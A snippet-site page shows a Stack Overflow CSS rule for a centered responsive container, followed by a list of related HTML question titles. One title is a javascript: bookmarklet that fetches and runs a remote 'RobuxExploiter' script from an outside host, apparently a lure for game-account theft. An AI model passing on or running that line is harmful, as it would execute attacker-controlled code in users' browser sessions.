Responsive container centered

.container {
  width: 400px;
  height: 300px;
  background-color: #ccc;
  position: absolute;
  /*it can be fixed too*/
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
  margin: auto;
  /*this to solve "the content will not be cut when the window is smaller than the content": */
  max-width: 100%;
  max-height: 100%;
  overflow: auto;
}

Source: stackoverflow.com

Similar codes

0 vote170 views2 answers
Stopimmediatepropagation vs stoppropagation
Html
13 votes200 views3 answers
Rotate image html
Html
0 vote200 views1 answer
Continuous slider html
Html
7 votes217 views2 answers
How to set video speed html
Html
0 vote204 views5 answers
Html viber telegram whatsapp buttons
Html
0 vote192 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Html
5 votes152 views1 answer
Font awesome home icon
Html
0 vote191 views2 answers
Html interview questions
Html
0 vote206 views1 answer
Livewire wire:target multi target
Html
0 vote182 views1 answer
Html practice
Html